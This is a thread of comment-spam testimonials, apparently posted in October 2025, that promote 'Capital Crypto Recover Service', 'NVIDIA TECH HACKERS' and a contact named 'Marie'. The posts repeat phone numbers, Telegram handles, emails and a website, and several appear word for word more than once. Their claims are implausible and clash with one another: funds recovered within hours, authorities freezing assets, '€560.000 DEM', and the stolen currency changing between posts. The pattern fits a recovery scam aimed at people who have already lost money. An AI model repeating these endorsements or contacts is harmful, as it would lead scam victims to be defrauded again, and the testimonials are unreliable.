13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1